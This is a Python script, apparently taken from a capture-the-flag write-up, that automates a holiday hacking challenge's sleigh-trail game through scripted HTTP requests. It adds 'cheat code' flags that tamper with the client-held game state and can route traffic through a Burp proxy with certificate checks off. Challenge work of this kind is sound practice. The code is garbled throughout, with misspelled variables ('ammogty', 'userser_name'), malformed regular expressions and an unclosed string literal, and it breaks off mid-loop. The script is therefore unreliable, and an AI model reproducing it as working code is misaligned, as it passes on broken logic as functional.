parser.add_argument("--debug", action="store_true", help="Enable debugging output")
parser.add_argument("--invulnerability", action="store_true", help="!!!CHEAT CODES!!! - Activate Invulnerability")
parser.add_argument("--lightspeed", action="store_true", help="!!!CHEAT CODES!!! - Activate Lightspeed - only works in easy or medium mode")
parser.add_argument("--maxammo", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited Ammo - only works in easy or medium mode")
parser.add_argument("--maxmeds", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited Meds - only works in easy or medium mode")
parser.add_argument("--maxfood", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited Food - only works in easy or medium mode")
parser.add_argument("--maxreindeer", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited Reindeer - only works in easy or medium mode")
parser.add_argument("--maxrunners", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited Runners - only works in easy or medium mode")
parser.add_argument("--maxmoney", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited Money - only works in easy or medium mode")
parser.add_argument("--maxall", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited ALL - only works in easy or medium mode")
args = parser.parse_args()

hhc_host = "https://trail.elfu.org"
hhc_gameselect_url = "https://trail.elfu.org/gameselect/"
hhc_store_url = "https://trail.elfu.org/store/"
hhc_trail_url = "https://trail.elfu.org/trail/"
max_distance = 8000
river = [ 'ferry', 'ford', 'caulk' ]
min_ferry_threshold = 150
pace_names = [ 'Steady', 'Strenuous', 'Grueling' ]
difficulty_level = [ 'Easy', 'Medium', 'Hard' ]

proxy_host = "127.0.0.1"
proxy_port = "8080"
if len(args.proxy_host) > 0:
    proxy_host = str(args.proxy_host)[0:15]
if len(args.proxy_port) > 0:
    proxy_port = str(args.proxy_port)[0:5]

playerid_arg = str(args.playerid[0:25])
difficulty_arg = re.sub("\W","",str(args.difficulty)[0:6].lower()).capitalize()
pace_arg = int(re.sub("\D","",str(args.pace)))
extrareindeer_arg = int(re.sub("\D","",str(args.extrareindeer)))
extrarunners_arg = int(re.sub("\D","",str(args.extrarunners)))
extrafood_arg = int(re.sub("\D","",str(args.extrafood)))
extrameds_arg = int(re.sub("\D","",str(args.extrameds)))
extraammo_arg = int(re.sub("\D","",str(args.extraammo)))

player_id = playerid_arg
user_name = playerid_arg

if pace_arg>=0 and pace_arg<=2:
    pace = str(pace_arg)
else:
    print ("\n*** ERROR: ["+str(pace_arg)+"] is not a valid pace setting - must be number between 0-2\n")
    sys.exit(1)

if extrareindeer_arg>=0 and extrareindeer_arg<=9:
    reindeerqty = str(extrareindeer_arg)
else:
    print ("\n*** ERROR: ["+str(extrareindeer_arg)+"] is not a valid extrareindeer setting - must be number between 0-9\n")
    sys.exit(1)

if extrarunners_arg>=0 and extrarunners_arg<=9:
    runnerqty = str(extrarunners_arg)
else:
    print ("\n*** ERROR: ["+str(extrarunners_arg)+"] is not a valid extrarunners setting - must be number between 0-9\n")
    sys.exit(1)

if extrafood_arg>=0 and extrafood_arg<=1000:
```

```

        foodqty = str(extrafood_arg)
    else:
        print ("\n*** ERROR: [" + str(extrafood_arg) + "] is not a valid extrafood setting - must be number between 0-1000\n")
        sys.exit(1)

    if extrameds_arg >= 0 and extrameds_arg <= 100:
        medsqty = str(extrameds_arg)
    else:
        print ("\n*** ERROR: [" + str(extrameds_arg) + "] is not a valid extrameds setting - must be number between 0-100\n")
        sys.exit(1)

    if extraammo_arg >= 0 and extraammo_arg <= 100:
        ammoqty = str(extraammo_arg)
    else:
        print ("\n*** ERROR: [" + str(extraammo_arg) + "] is not a valid extraammo setting - must be number between 0-100\n")
        sys.exit(1)

    if difficulty_arg == "Hard" and args.lightspeed:
        print ("\n*** ERROR: You cannot use lightspeed cheat code with 'hard' difficulty\n")
        parser.print_help()
        sys.exit(1)

    if difficulty_arg == "Hard" and args.maxall:
        print ("\n*** ERROR: You cannot use maxall cheat code with 'hard' difficulty\n")
        parser.print_help()
        sys.exit(1)

    if args.maxall:
        args.maxammo = args.maxfood = args.maxmeds = args.maxmoney = args.maxreindeer = args.maxrunners = True

    if difficulty_arg == "Hard" and args.maxammo:
        print ("\n*** ERROR: You cannot use maxammo cheat code with 'hard' difficulty\n")
        parser.print_help()
        sys.exit(1)

    if difficulty_arg == "Hard" and args.maxmeds:
        print ("\n*** ERROR: You cannot use maxmeds cheat code with 'hard' difficulty\n")
        parser.print_help()
        sys.exit(1)

    if difficulty_arg == "Hard" and args.maxfood:
        print ("\n*** ERROR: You cannot use maxfood cheat code with 'hard' difficulty\n")
        parser.print_help()
        sys.exit(1)

    if difficulty_arg == "Hard" and args.maxreindeer:
        print ("\n*** ERROR: You cannot use maxreindeer cheat code with 'hard' difficulty\n")
        parser.print_help()
        sys.exit(1)

    if difficulty_arg == "Hard" and args.maxrunners:
        print ("\n*** ERROR: You cannot use maxrunners cheat code with 'hard' difficulty\n")
        parser.print_help()
        sys.exit(1)

    if difficulty_arg == "Hard" and args.maxmoney:
        print ("\n*** ERROR: You cannot use maxmoney cheat code with 'hard' difficulty\n")
        parser.print_help()
        sys.exit(1)

# =====
# Proxy support - great for Burp!
# =====
if args.proxy:
    proxies = {
        "http": "http://" + proxy_host + ":" + proxy_port,
        "https": "http://" + proxy_host + ":" + proxy_port
    }
else:
    proxies = {}

# =====
# Explicitly set all our headers for each page
# =====
gameselect_headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Upgrade-Insecure-Requests': '1'
}

store_headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': hhc_host,
    'Referer': hhc_gameselect_url,
    'Upgrade-Insecure-Requests': '1'
}

trail_headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': hhc_host,
    'Referer': hhc_store_url,
    'Upgrade-Insecure-Requests': '1'
}

```

```

# =====
# Setup defaults which are dependent on difficulty level
# =====
if difficulty_arg == "Easy":
    difficulty = "0"
    money = "5000"
    distance = "0"
    curmonth = "7"
    curday = "1"
    reindeer = "2"
    runners = "2"
    ammo = "100"
    meds = "20"
    food = "400"
elif difficulty_arg == "Medium":
    difficulty = "1"
    money = "3000"
    distance = "0"
    curmonth = "8"
    curday = "1"
    reindeer = "2"
    runners = "2"
    ammo = "50"
    meds = "10"
    food = "200"
elif difficulty_arg == "Hard":
    difficulty = "2"
    money = "1500"
    distance = "0"
    curmonth = "9"
    curday = "1"
    reindeer = "2"
    runners = "2"
    ammo = "10"
    meds = "2"
    food = "100"
else:
    print ("\n*** ERROR: [" + difficulty_arg + "] is not a valid difficulty setting\n")
    parser.print_help()
    sys.exit(1)

# =====
# Setup other defaults - same for all difficulty levels
# =====
reindeerprice = "500"
runnerprice = "200"
foodprice = "5"
medsprice = "50"
ammoprice = "20"
submit = "Buy"
action = "go"
name0 = "Ruth"
health0 = "100"
cond0 = "0"
cause0 = ""
deathday0 = "0"
deathmonth0 = "0"
name1 = "Mildred"
health1 = "100"
cond1 = "0"
cause1 = ""
deathday1 = "0"
deathmonth1 = "0"
name2 = "Mathias"
health2 = "100"
cond2 = "0"
cause2 = ""
deathday2 = "0"
deathmonth2 = "0"
name3 = "John"
health3 = "100"
cond3 = "0"
cause3 = ""
deathday3 = "0"
deathmonth3 = "0"
hash = "HASH"

# =====
# Finances Check
# =====
reindeercost = str(int(reindeerqty) * int(reindeerprice))
if int(reindeercost) <= int(money):
    money = str(int(money) - (int(reindeerqty) * int(reindeerprice)))
else:
    print ("\n*** ERROR: [" + str(reindeerqty) + "] extra reindeer at price [" + str(reindeerprice) + "] is [" + str(reindeercost) + "] which exceeds [" + str(money) + "] money remaining\n")
    sys.exit(1)

runnercost = str(int(runnerqty) * int(runnerprice))
if int(runnercost) <= int(money):
    money = str(int(money) - (int(runnerqty) * int(runnerprice)))
else:
    print ("\n*** ERROR: [" + str(runnerqty) + "] extra runners at price [" + str(runnerprice) + "] is [" + str(runnercost) + "] which exceeds [" + str(money) + "] money remaining\n")
    sys.exit(1)

foodcost = str(int(foodqty) * int(foodprice))
if int(foodcost) <= int(money):
    money = str(int(money) - (int(foodqty) * int(foodprice)))
else:
    print ("\n*** ERROR: [" + str(foodqty) + "] extra food at price [" + str(foodprice) + "] is [" + str(foodcost) + "] which exceeds [" + str(money) + "] money remaining\n")
    sys.exit(1)

medscost = str(int(medsqty) * int(medsprice))

```

```

if int(medscost) <= int(money):
    money = str(int(money) - (int(medsqty) * int(medsprice)))
else:
    print ("\n*** ERROR: [" + str(medsqty) + "] extra meds at price [" + str(medsprice) + "] is [" + str(medscost) + "] which exceeds [" + str(money) + "]
money remaining\n")
    sys.exit(1)

ammocost = str(int(ammogty) * int(ammoprice))
if int(ammocost) <= int(money):
    money = str(int(money) - (int(ammogty) * int(ammoprice)))
else:
    print ("\n*** ERROR: [" + str(ammogty) + "] extra ammo at price [" + str(ammoprice) + "] is [" + str(ammocost) + "] which exceeds [" + str(money) + "]
money remaining\n")
    sys.exit(1)

# =====
# httpGet
# =====
def httpGet (url,p,h):
    try:
        r = requests.get(url,
                        proxies=proxies,
                        headers=h,
                        params=p,
                        verify=False
                        )
    except Exception as e:
        print ("ERROR: HTTP Error Occurred: [" + str(e) + "]")
        sys.exit(1)
    return r

# =====
# httpPost
# =====
def httpPost (url,cookie,d,h):
    try:
        r = requests.post(url,
                        proxies=proxies,
                        headers=h,
                        cookies=cookie,
                        data=d,
                        verify=False
                        )
    except Exception as e:
        print ("ERROR: HTTP Error Occurred: [" + str(e) + "]")
        sys.exit(1)
    return r

# =====
# Extract Party Progress from HTTP Response
# =====
def get_party_progress(t):
    # Start with progress object. No good end sentinel, so jumping 400 characters
    start_sentinel = '<table id="progress">'
    end_sentinel = ''

    i1 = t.find(start_sentinel) + len(start_sentinel)
    i2 = i1 + 400
    status_section = t[i1:i2]

    status_section = status_section.replace('<b>', '')
    status_section = status_section.replace('</b>', '|')
    status_section = status_section.replace('<tr>', '|')
    status_section = status_section.replace('</tr>', '|')
    status_section = status_section.replace('<td>', '|') # Missing close tag is forcing this asymmetry
    status_section = status_section.replace('</td>', '|')
    status_section = status_section.replace('<option>', '')
    status_section = status_section.replace('</option>', '|')
    status_section = status_section.replace('<select>', '')
    status_section = status_section.replace('</select>', '|')

    status_section = re.sub(r'\s+', ' ', status_section)
    status_section = re.sub(r'\||\s+', '|', status_section)
    status_section = re.sub(r'\s\||', '|', status_section)
    status_section = re.sub(r'\||+', '|', status_section)

    status_section = re.sub('<select name="pace" class="pace">', '', status_section)
    status_section = re.sub('</table> <!-- <table id="displayWindow" class="noborder">', '', status_section)
    status_section = re.sub('<option value="0">Steady', '', status_section)
    status_section = re.sub('<option value="1">Strenuous', '', status_section)
    status_section = re.sub('<option value="2">Grueling', '', status_section)
    status_section = re.sub('<option value="." selected>', '', status_section)

    status_section = status_section.strip()
    status_section = re.sub(r'^\||+', '', status_section)
    status_section = re.sub(r'\||+$', '', status_section)

    if args.debug:
        print ("Status Section: [" + status_section + "]")

    return status_section

# =====
# Extract Status Container from HTTP Response
# =====
def get_status_container(t):
    # Get statusContainer object
    start_sentinel = '<div id="statusContainer">'
    end_sentinel = '</div id="statusContainer">'

    i1 = t.find(start_sentinel) + len(start_sentinel)
    i2 = t.find(end_sentinel)
    status_container = t[i1:i2]

```



```

status_container = status_container.replace('<div>','')
status_container = status_container.replace('</div>','|')
status_container = status_container.replace('<form>','')
status_container = status_container.replace('</form>','|')
status_container = status_container.replace('<br>','')
status_container = status_container.replace('</br>','|')

status_container = status_container.replace('        <input type="hidden" name="",'')
status_container = re.sub(r'(" class=".*" value="','|',status_container)
status_container = re.sub(r'>','|',status_container)

status_container = status_container.replace("\n",'')

status_container = status_container.strip()
status_container = re.sub(r'^\|+', '', status_container)
status_container = re.sub(r'\|+$', '', status_container)

# Fix rare bug where server decremented reindeer value to negative number - reset negative to 0
status_container = re.sub(r'reindeer\|-d+||', 'reindeer|0|', status_container)
status_container = re.sub(r'runners\|-d+||', 'runners|0|', status_container)

if args.debug:
    print ("Status Container: [" + status_container + "]")

return status_container

# =====
# Extract Status Messages from HTTP Response
# =====
def get_status_messages(t):

    # Start with inventory table object
    start_sentinel = '<table id="inventory"'
    end_sentinel = '</table id="inventory"></table>'

    i1 = t.find(start_sentinel) + len(start_sentinel)
    i2 = t.find(end_sentinel)
    status_messages = t[i1:i2]

    # No need to parse inventory table since this data is already obtained from the statusContainer, so skipping below it
    start_sentinel = '</td></tr></table>'
    i1 = status_messages.find(start_sentinel) + len(start_sentinel)
    status_messages = status_messages[i1:]

    status_messages = status_messages.replace('<b>','')
    status_messages = status_messages.replace('</b>','|')
    status_messages = status_messages.replace('<br>','')
    status_messages = status_messages.replace('</br>','|')
    status_messages = status_messages.replace('<p>','')
    status_messages = status_messages.replace('</p>','|')
    status_messages = status_messages.replace('<div>','')
    status_messages = status_messages.replace('</div>','|')

    status_messages = status_messages.replace('The overall distance remaining is shown in the top-left. ',' ')

    if args.invulnerability:
        status_messages = status_messages.replace('You have no food. Your party is starving. ',' ')

    status_messages = re.sub(r'\s+', ' ', status_messages)
    status_messages = re.sub(r'\|s+', '|', status_messages)
    status_messages = re.sub(r'\s+||', '|', status_messages)
    status_messages = re.sub(r'\|+', '|', status_messages)

    status_messages = status_messages.strip()
    status_messages = re.sub(r'^\|+', '', status_messages)
    status_messages = re.sub(r'\|+$', '', status_messages)

    if args.debug:
        print ("Status Messages: [" + status_messages + "]")

    return status_messages

# =====
# Extract Trade Offer Details from HTTP Response
# =====
def get_trade_offer(t):

    # Start with inventory table object
    start_sentinel = 'If you accept the trade, click Trade. Anything else will cancel.'
    end_sentinel = ''

    i1 = t.find(start_sentinel) + len(start_sentinel)
    i2 = i1 + 300
    trade_offer = t[i1:i2]

    trade_offer = re.sub(r'\s+', ' ', trade_offer)
    trade_offer = trade_offer.replace('<br>','')
    trade_offer = trade_offer.replace('</br>','|')

    trade_offer = trade_offer.replace('<input type="hidden" name="','|')
    trade_offer = trade_offer.replace(' value="', '|')
    trade_offer = trade_offer.replace('> |', '|')
    trade_offer = re.sub(r'>.*', '', trade_offer)

    trade_offer = trade_offer.strip()
    trade_offer = re.sub(r'^\|+', '', trade_offer)
    trade_offer = re.sub(r'\|+$', '', trade_offer)

    return trade_offer

# =====
# Extract JOURNEY END Data from Victory Page
# =====
def get_journeyend_data(t):

```

```

# Start with the page container object
start_sentinel = '<div id="page-container"><p>'
end_sentinel = '</div id="page-container"></p>'

i1 = t.find(start_sentinel)+len(start_sentinel)
i2 = t.find(end_sentinel)

journeyend_section = t[i1:i2]
journeyend_section = journeyend_section.replace("\n","")
journeyend_section = journeyend_section.replace('<p>','')
journeyend_section = journeyend_section.replace('</p>','')
journeyend_section = journeyend_section.replace('<li>','')
journeyend_section = journeyend_section.replace('</li>','')
journeyend_section = journeyend_section.replace('<ul>','')
journeyend_section = journeyend_section.replace('</ul>','')
journeyend_section = journeyend_section.replace('<font color="#038ea5">','')
journeyend_section = journeyend_section.replace('<font color="#9ea022">','')
journeyend_section = journeyend_section.replace('<b>','')
journeyend_section = journeyend_section.replace('</b>','')
journeyend_section = journeyend_section.replace('<script>','')
journeyend_section = journeyend_section.replace('</script>','')
journeyend_section = journeyend_section.replace('<a>','')
journeyend_section = journeyend_section.replace('</a>','')
journeyend_section = journeyend_section.replace('<div>','')
journeyend_section = journeyend_section.replace('</div>','')
journeyend_section = journeyend_section.replace('<br>','')
journeyend_section = journeyend_section.replace('</br>','')
journeyend_section = journeyend_section.replace('<font>','')
journeyend_section = journeyend_section.replace('</font>','')

journeyend_section = journeyend_section.replace('<script src="/conduit.js">','')
journeyend_section = journeyend_section.replace('','')
journeyend_section = journeyend_section.replace('<ul style="list-style-type: none; padding: 0px; text-align: left;">','')
journeyend_section = journeyend_section.replace('<a href="/>','')
journeyend_section = journeyend_section.replace('Start over?','')

journeyend_section = re.sub(r'\s+', ' ', journeyend_section)
journeyend_section = re.sub(r'\s+', ' ', journeyend_section)
journeyend_section = re.sub(r'\s+', ' ', journeyend_section)
journeyend_section = re.sub(r'\s+', ' ', journeyend_section)

journeyend_section = journeyend_section[:-1].strip()

return journeyend_section

# =====
# Print Status
# =====
def print_status(sc,sm,a,p,tf):

    if a == "trade": a = a+"="+tf

    difficulty_stat = difficulty_level[int(sc[1])]
    action_stat = a.upper().rjust(14)
    pace_stat = p.upper().rjust(8)
    remaining_stat = "Dist/Left:"+str('{:04}'.format(int(sc[5]))+"/"+str('{:04}'.format(max_distance-int(sc[5]))))
    gamedate_stat = "Date:"+str('{:02}'.format(int(sc[7]))+"/"+str('{:02}'.format(int(str(sc[9]))))
    money_stat = "Money:"+str('{:04}'.format(int(sc[3]))
    reindeer_stat = "Reindr:"+str('{:02}'.format(int(sc[59]))
    runners_stat = "Runrs:"+str('{:02}'.format(int(sc[61]))
    ammo_stat = "Ammo:"+str('{:03}'.format(int(sc[63]))
    meds_stat = "Meds:"+str('{:03}'.format(int(sc[65]))
    food_stat = "Food:"+str('{:03}'.format(int(sc[67]))
    health_stat = "Heath:"+str('{:03}'.format(int(sc[13]))+"/"+str('{:03}'.format(int(sc[25]))+"/"+str(
        str('{:03}'.format(int(sc[37]))+"/"+str('{:03}'.format(int(sc[49]))))

    print ("STATUS - ["+action_stat+"] ["+difficulty_stat+"] ["+pace_stat+"] ["+remaining_stat+"] ["+gamedate_stat+"] ["+
        money_stat+"] ["+reindeer_stat+"] ["+runners_stat+"] ["+ammo_stat+"] ["+meds_stat+"] ["+food_stat+"] ["+health_stat+"]")

    if len(sm) == 0:
        sm = "No Updates"
    print ("\t ["+sm+"]\n")

# =====
# Attempt very simple decision logic to help our friends on the trail
# This is life favoring logic
# =====
def next_action_logic(sc,a,p):

    difficulty_stat = str(sc[1])
    distance_stat = str(sc[5])
    curmonth_stat = str(sc[7])
    ammo_stat = str(sc[63])
    meds_stat = str(sc[65])
    food_stat = str(sc[67])
    reindeer_stat = str(sc[59])
    runners_stat = str(sc[61])
    health0_stat = str(sc[13])
    health0_cond = str(sc[15])
    health1_stat = str(sc[25])
    health1_cond = str(sc[27])
    health2_stat = str(sc[37])
    health2_cond = str(sc[39])
    health3_stat = str(sc[49])
    health3_cond = str(sc[51])

    health_average = 0
    party_members = 4
    home_stretch = 7500

    if int(health0_cond)<0: party_members = party_members-1
    if int(health1_cond)<0: party_members = party_members-1
    if int(health2_cond)<0: party_members = party_members-1
    if int(health3_cond)<0: party_members = party_members-1

```

```

if party_members>0:
    health_average = round((int(health0_stat)+int(health1_stat)+int(health2_stat)+int(health3_stat))/party_members)

health_stat_set = [ int(health0_stat), int(health1_stat), int(health2_stat), int(health3_stat),]
health_median = statistics.median(health_stat_set)

new_action = a
new_pace = p

urgent_resources = 10
critical_health = 30
moderate_health = 50
urgent_health = 15
new_trade_for = ""

important_resources1 = ['Food','Ammo']
important_resources2 = ['Food','Meds']

if int(runners_stat) < 2:
    new_action = "trade"
    new_trade_for = "Runners"
elif int(reindeer_stat) < 1:
    new_action = "trade"
    new_trade_for = "Reindeer"
else:
    if int(food_stat) < urgent_resources: #and health_average < critical_health:
        if int(ammo_stat) > 0:
            new_action = "hunt"
        else:
            if health_average < urgent_health:
                if difficulty_stat == 2 and distance_stat <= home_stretch: # If on hard and almost there, just go
                    new_action = "go"
            else:
                new_action = "trade"
                #Randomly choose in this case between Food or Ammo as next trade
                toss_up = random.randint(0,1)
                new_trade_for = important_resources1[toss_up]

    if not new_action == "hunt":
        if (
            (int(health0_stat)<urgent_health and int(health0_cond)>=0) or
            (int(health1_stat)<urgent_health and int(health1_cond)>=0) or
            (int(health2_stat)<urgent_health and int(health2_cond)>=0) or
            (int(health3_stat)<urgent_health and int(health3_cond)>=0)
        ):
            if int(meds_stat) > 0:
                new_action = "meds"
            else:
                if difficulty_stat == 2 and distance_stat <= home_stretch: # If on hard and almost there, just go
                    new_action = "go"
                else:
                    new_action = "trade"
                    # Randomly choose in this case between Food or Meds as next trade
                    toss_up = random.randint(0,1)
                    new_trade_for = important_resources2[toss_up]

# Downgrade Pace if Health urgent
if int(food_stat) == 0 and health_average < urgent_health:
    if int(new_pace) == 2:
        new_pace = "1"
    elif int(new_pace) == 1:
        new_pace = "0"

# Upgrade Pace if Health improved
if health_average >= moderate_health:
    if int(new_pace) == 0:
        new_pace = "1"
    elif int(new_pace) == 1:
        new_pace = "2"

return new_action, new_pace, new_trade_for

# =====
# Analyze Trade Offer
# =====
def trade_offer_logic(o,sc):

    decision = False

    offer_itemQty = o[1]
    offer_trade_for = o[3]
    offer_reqQty = o[5]
    offer_itemRequested = o[7]

    min_runners = 2
    min_reindeer = 2
    acceptable_loss = 0.5

    if args.debug:
        print("ANALYSIS: [" + offer_itemQty + "] [" + offer_trade_for + "] [" + offer_reqQty + "] [" + offer_itemRequested + "]")

    if offer_trade_for == "Runners":
        acceptable_loss = 1
        min_reindeer = 1

    if offer_itemRequested == "Money":
        if int(offer_reqQty) <= int(sc[3]):
            decision = True
            if args.debug:
                print("TRADING: Will Trade for Money!")
    elif offer_itemRequested == "Ammo":
        if int(offer_reqQty) <= int(int(sc[63]) * acceptable_loss):
            decision = True
            if args.debug:
                print("TRADING: Will Trade for Ammo!")

```

```

elif offer_itemRequested == "Meds":
    if int(offer_reqQty) <= int(int(sc[65]) * acceptable_loss):
        decision = True
        if args.debug:
            print ("TRADING: Will Trade for Meds!")
elif offer_itemRequested == "Food":
    if int(offer_reqQty) <= int(int(sc[67]) * acceptable_loss):
        decision = True
        if args.debug:
            print ("TRADING: Will Trade for Food!")
elif offer_itemRequested == "Reindeer":
    if int(offer_reqQty) < int(sc[59]) and int(sc[59]) > min_reindeer:
        decision = True
        if args.debug:
            print ("TRADING: Will Trade for Reindeer!")
elif offer_itemRequested == "Runners":
    if int(offer_reqQty) < int(sc[61]) and int(sc[61]) > min_runners:
        decision = True
        if args.debug:
            print ("TRADING: Will Trade for Runners!")

return decision

# =====
# =====
# ### MAIN
# =====
# =====

# Display user input game options
print ("\nGAME OPTIONS: Difficulty:["+difficulty_arg+"] - Pace:["+pace_names[pace_arg]+"] - ExtraReindeer:["+reindeerqty+"] -
ExtraRunners:["+runnerqty+"] - ExtraFood:["+foodqty+"] - Extrameds:["+medsqty+"] - Extraammo:["+ammoqty+"]")

cheat_codes_active = ""
if args.lightspeed:
    cheat_codes_active = cheat_codes_active + "lightspeed "
if args.maxammo:
    cheat_codes_active = cheat_codes_active + "maxammo "
if args.maxmeds:
    cheat_codes_active = cheat_codes_active + "maxmeds "
if args.maxfood:
    cheat_codes_active = cheat_codes_active + "maxfood "
if args.maxreindeer:
    cheat_codes_active = cheat_codes_active + "maxreindeer "
if args.maxrunners:
    cheat_codes_active = cheat_codes_active + "maxrunners "
if args.maxmoney:
    cheat_codes_active = cheat_codes_active + "maxmoney "
if args.invulnerability:
    cheat_codes_active = cheat_codes_active + "invulnerability "

cheat_codes_active = cheat_codes_active.strip()

if cheat_codes_active == "":
    cheat_codes_active = "none"

print ("            !!!! CHEAT CODES ACTIVE: ["+cheat_codes_active+"]")
print ("")

#-----
# GET gameselect URL
#-----
get_params = {
    'playerid': player_id,
    'username': userser_name
}
get_response = httpGet(hhc_gameselect_url,get_params,gameselect_headers)
returned_cookie = get_response.cookies['trail-mix-cookie']

#-----
# POST to store URL
#-----
store_data_init = {
    'difficulty': difficulty_arg,
    'playerid': player_id,
    'username': userser_name
}

cookie_data = {
    'trail-mix-cookie': returned_cookie
}
post_response = httpPost(hhc_store_url,cookie_data,store_data_init,store_headers)
returned_cookie = post_response.cookies['trail-mix-cookie']

status_container = get_status_container(post_response.text).split('|')
money          = str(status_container[3])
distance       = str(status_container[5])
curmonth       = str(status_container[7])
curday         = str(status_container[9])
name0          = str(status_container[11])
name1          = str(status_container[23])
name2          = str(status_container[35])
name3          = str(status_container[47])
reindeer       = str(status_container[59])
runners        = str(status_container[61])
ammo           = str(status_container[63])
meds           = str(status_container[65])
food           = str(status_container[67])
hash           = str(status_container[69])

if not args.invulnerability:
    health0     = str(status_container[13])
    cond0       = str(status_container[15])
    cause0      = str(status_container[17])
    deathday0   = str(status_container[19])

```



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deathmonth0 = str(status_container[21])
health1      = str(status_container[25])
cond1        = str(status_container[27])
cause1       = str(status_container[29])
deathday1    = str(status_container[31])
deathmonth1  = str(status_container[33])
health2      = str(status_container[37])
cond2        = str(status_container[39])
cause2       = str(status_container[41])
deathday2    = str(status_container[43])
deathmonth2  = str(status_container[45])
health3      = str(status_container[49])
cond3        = str(status_container[51])
cause3       = str(status_container[53])
deathday3    = str(status_container[55])
deathmonth3  = str(status_container[57])

if args.debug:
    print ("=====")
    print (post_response.headers)
    print ("=====")
    print (post_response.content)
    print ("=====")
    print ("Cookied Returned: "+returned_cookie)

store_post_pending = True

#-----
# POST to trail recurring URL
#-----
journey_end = False
while not journey_end:

    trail_list = [
        "playerid="+player_id,
        "difficulty="+difficulty,
        "money="+money,
        "distance="+distance,
        "curmonth="+curmonth,
        "curday="+curday,
        "name0="+name0,
        "health0="+health0,
        "cond0="+cond0,
        "cause0="+cause0,
        "deathday0="+deathday0,
        "deathmonth0="+deathmonth0,
        "name1="+name1,
        "health1="+health1,
        "cond1="+cond1,
        "cause1="+cause1,
        "deathday1="+deathday1,
        "deathmonth1="+deathmonth1,
        "name2="+name2,
        "health2="+health2,
        "cond2="+cond2,
        "cause2="+cause2,
        "deathday2="+deathday2,
        "deathmonth2="+deathmonth2,
        "name3="+name3,
        "health3="+health3,
        "cond3="+cond3,
        "cause3="+cause3,
        "deathday3="+deathday3,
        "deathmonth3="+deathmonth3,
        "reindeer="+reindeer,
        "runners="+runners,
        "ammo="+ammo,
        "meds="+meds,
        "food="+food,
        "hash="+hash
    ]

    # -----
    # Set additional POST variables
    # -----
    if store_post_pending:
        trail_list.insert(0,"reindeerqty="+reindeerqty)
        trail_list.insert(1,"runnerqty="+runnerqty)
        trail_list.insert(2,"foodqty="+foodqty)
        trail_list.insert(3,"medsqty="+medsqty)
        trail_list.insert(4,"ammoqty="+ammoqty)
        trail_list.insert(5,"submit="+submit)
        store_post_pending = False
    else:
        if action == "trade":
            if len(trade_offer) > 0:
                make_trade = trade_offer_logic(trade_offer,status_container)
                if not make_trade:
                    action = "trade"
                    trail_list.insert(1, "tradeFor=" + tradeFor)
                else:
                    trail_list.insert(1, trade_offer[0]+"="+trade_offer[1])
                    trail_list.insert(2, trade_offer[2]+"="+trade_offer[3])
                    trail_list.insert(3, trade_offer[4]+"="+trade_offer[5])
                    trail_list.insert(4, trade_offer[6]+"="+trade_offer[7])
            else:
                trail_list.insert(1, "tradeFor=" + tradeFor)
        trail_list.insert(0,"pace=" + pace)
        trail_list.insert(2,"action=" + action)

    trail_data = ""
    for i in range (0,len(trail_list)):
        trail_data = trail_data + trail_list[i]+"&"
    trail_data = trail_data[:-1]

```

```

cookie_data = {
    'trail-mix-cookie': returned_cookie
}
post_response = httpPost(hhc_trail_url, cookie_data, trail_data, trail_headers)

if post_response.text.find('502 Bad Gateway')>0:
    print ("ERROR: HTTP 502 Bad Gateway")
    sys.exit(1)

if post_response.text.find('Your party has succeeded!')>0:
    journey_end = True
    journeyend_data = get_journeyend_data(post_response.text)
    print ("\n+++++")
    print ("+++++")
    print ("+++++")
    print ("+++++")
    print ("!!! VICTORY !!!: [" + journeyend_data + "]")
    print ("+++++")
    print ("+++++")
    print ("+++++")
    print ("+++++")
elif post_response.text.find('Your party has failed because everyone\'s dead.')>0:
    journey_end = True
    journeyend_data = get_journeyend_data(post_response.text)
    print ("\n=====")
    print ("FAILED: [" + journeyend_data + "]")
    print ("=====")
elif post_response.text.find('Your party has failed because you ran out of time.')>0:
    journey_end = True
    journeyend_data = get_journeyend_data(post_response.text)
    print ("\n=====")
    print ("FAILED: [" + journeyend_data + "]")
    print ("=====")
else:
    status_container = get_status_container(post_response.text).split('|')
    status_messages = get_status_messages(post_response.text)

    trade_offer = ""
    if post_response.text.find('If you accept the trade, click Trade') > 0:
        trade_offer = get_trade_offer(post_response.text).split('|')

    if post_response.text.find('Your sleigh has fewer than two runners. You did not progress.') > 0:
        print ("BADNEWS: Your sleigh has fewer than two runners. You did not progress.")
    if post_response.text.find('Oh dear! One of your reindeer has vanished.') > 0:
        print ("BADNEWS: Oh dear! One of your reindeer has vanished.")
    if post_response.text.find('Oh no! One of your sleigh\'s runners has broken.') > 0:
        print ("BADNEWS: Oh no! One of your sleigh's runners has broken.")
    if post_response.text.find('has died.') > 0:
        print ("BADNEWS: One of your party members has died!")
    if post_response.text.find('You managed to tame a wild reindeer!') > 0:
        print ("GOODNEWS: You managed to tame a wild reindeer!")
    if post_response.text.find('You found a spare runner lying on the ground!') > 0:
        print ("GOODNEWS: You found a spare runner lying on the ground!")

    money = str(status_container[3])

    # River Crossing Logic
    crossing_river = False
